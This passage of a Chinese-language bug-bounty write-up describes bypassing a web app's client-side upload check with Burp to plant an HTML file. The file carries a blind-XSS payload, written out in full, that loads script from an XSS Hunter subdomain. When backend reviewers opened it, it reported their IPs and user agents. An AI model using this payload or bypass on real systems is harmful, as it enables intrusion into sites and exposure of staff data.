利用文件上传功能构造实现针对后端验证机制的RCE漏洞(2)

执行这样的请求后，后端响应了请求成功，服务器成功创建文件的“201 Created”状态码，并返回响应了文件的上体id：

这看似非常不错。但是我们上传的文件去了哪呢？回到Web应用中，却出问题了：

然而，刷新文件上传页面后，却出现了惊喜，刚刚上传的文件出现在了待上传文件区，如下：

只不过它是后缀为.foo且文件名是一串哈希值的文件：34beduc…….3dfed.foo。如果再次上传同一个文件，其作为文件名的哈希值会再次发生变化，成为fd33d3f……38338999dee.foo这样子的。也就是说，文件后缀不会变，但文件名每次都会被哈希成新的值，所以，要想在后端服务器中来发现并执行该上传文件估计有点难度。那我们如何来对它进行漏洞利用呢？你会怎么做？

我是这样考虑的，针对目标Web应用的后端环境，必须构造上传一种可被执行运行的文件。如果Web应用后端是一个工作人员来核对上传文件，那么会存在多种情况，他使用的是Linux、Windows还是Mac系统？不同的系统可能会对上传文件中的Payload造成影响。如果Web应用后端是自动验证程序，那至少我需要它能响应返回一些消息，我才能判断上传文件是否被执行了。所以，这样看来，还是有些麻烦。

之后，我想到了XSS Hunter。

如果你没用过XSS Hunter，请访问它的主页进行了解，它是一个Blind XSS利器，可实现一些隐蔽XSS的测试发现、反馈响应和监测管理。使用方式在于先注册XSS Hunter账号，通过注册xss.ht域名形成自己的短域yoursubdomain.xss.ht，用它实现Payload的识别和托管，然后构造XSS Payload如 “><script src=http://yoursubdomain.xss.ht></script>植入目标应用中待受害者点击，如果该Payload被有效执行，其内置域名yoursubdomain.xss.ht的相关请求会被XSS Hunter探测到，之后，XSS Hunter会通过你的XSS Hunter注册预留邮箱给予你反馈提醒。

在我预想的上述后端验证环境中，HTML文件应该是最容易被执行的了， 所以我想到了用Burp抓包改包，并配合XSS Hunter来构造Payload，来尝试触发上传HTML文件的执行。该测试目的在于检测Web应用后端的文件验证机制是否存在XSS等代码可执行漏洞。我最终构造的请求如下，上传文件实体为HTML内容，先把它命名为.png图片格式，上传后，通过Burp抓包改包，再把它修改为后期可执行的.html格式：

改包后在文件待上传区显示的文件为：

然后执行上传即可，这是典型的客户端校验绕过姿势。

好戏是，两天之后，我收到了XSS Hunter的反馈提醒，提示我们的Payload被成功触发执行了3次：

看似我们HTML的Payload文件被目标Web应用后端的文件核实人员点击执行了，从XSS Hunter反馈回来的报告可看到一些受害者IP和User Agent等系统基本信息。

经验3：有多种方式去利用一个工具，但在某些场景下，需要有创新的想法去实现不可思议的点子。最好的工具其实是你的想法的视角。